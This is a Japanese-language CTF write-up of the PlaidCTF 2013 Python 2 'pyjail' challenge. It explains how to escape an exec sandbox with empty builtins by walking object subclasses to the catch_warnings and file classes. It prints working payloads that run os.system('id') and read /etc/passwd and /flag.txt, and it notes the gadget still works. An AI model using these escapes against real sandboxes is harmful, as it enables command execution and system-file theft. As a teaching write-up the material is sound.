PlaidCTF 2013 - pyjail
Challenge
Python 2 の古典的な pyjail。
code = raw_input()exec code in {'__builtins__': {}}Solution
warnings.catch_warnings
catch_warnings クラスは _module 属性を持ち、そこから builtins にアクセス可能:
# Python 2[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('id')file クラス (Python 2 限定)
Python 2 では file がビルトインクラスとして存在:
# Python 2().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()# インデックスは環境依存Python 2 と Python 3 の違い
| 機能 | Python 2 | Python 3 |
|---|---|---|
file クラス | あり | なし |
raw_input | あり | input |
print | 文 | 関数 |
| サブクラス数 | 少 | 多 |
Technical Details
catch_warnings の仕組み
import warnings
with warnings.catch_warnings(): # 警告を一時的に抑制 warnings.simplefilter("ignore")_module 属性
cw = warnings.catch_warnings()cw._module # <module 'warnings'>cw._module.__builtins__ # builtins 辞書Python 2 のサブクラス探索
# Python 2for i, c in enumerate(().__class__.__bases__[0].__subclasses__()): print i, c
# 典型的な結果:# 0 <type 'type'># 1 <type 'weakref'># ...# 40 <type 'file'> # Python 2 限定# ...# 59 <class 'warnings.catch_warnings'>Alternative Solutions
別解1: file クラス直接使用
# Python 2().__class__.__bases__[0].__subclasses__()[40]('/flag.txt', 'r').read()別解2: __import__ の復元
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']Historical Context
- この問題は pyjail の古典として知られる
catch_warningsガジェットは現在も有効- Python 3 では
fileクラスは存在しない
Flag
flag{...}
References
- PlaidCTF 2013 Official
- Python 2 documentation
- Historic pyjail writeups